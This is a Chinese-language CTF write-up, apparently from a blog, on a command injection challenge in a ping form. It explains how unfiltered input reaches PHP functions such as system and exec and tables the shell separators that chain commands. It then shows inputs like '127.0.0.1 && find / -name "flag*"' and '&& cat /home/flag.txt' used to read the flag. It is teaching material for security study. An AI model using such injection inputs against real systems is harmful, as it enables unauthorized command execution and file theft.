标签:拼接 情况下 恶意攻击 shel man body find -name 一个
本题考的是命令执行漏洞方面的知识。
首先,我们要知道命令执行漏洞是什么:
当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。
比如题目中,直接把用户输入的参数不经过过滤直接放在ping命令之后,而恶意攻击者可以在输入的参数中用&&截断,而执行下一个恶意命令
常见的连接符有:
常见连接符 | 举例 | 效果 |
---|---|---|
; | A;B | 先执行A,再执行B |
& | A&B | 简单拼接,A B之间无制约关系 |
| | A|B | 显示B的执行结果 |
&& | A&&B | A执行成功,然后才会执行B |
|| | A||B | A执行失败,然后才会执行B |
来看看这题。
首先进入页面如下:
先试试ping本机127.0.0.1:
发现会有回显打印,所以试试其他命令127.0.0.1 && ls:
发现会执行ls这条命令,所以可以先查找flag有关的文件。
命令:127.0.0.1 && find / -name "flag*",发现有一个flag.txt文件,最后直接cat就行了
命令:127.0.0.1 && cat /home/flag.txt
标签:拼接 情况下 恶意攻击 shel man body find -name 一个
原文地址:https://www.cnblogs.com/wushengyang/p/12507740.html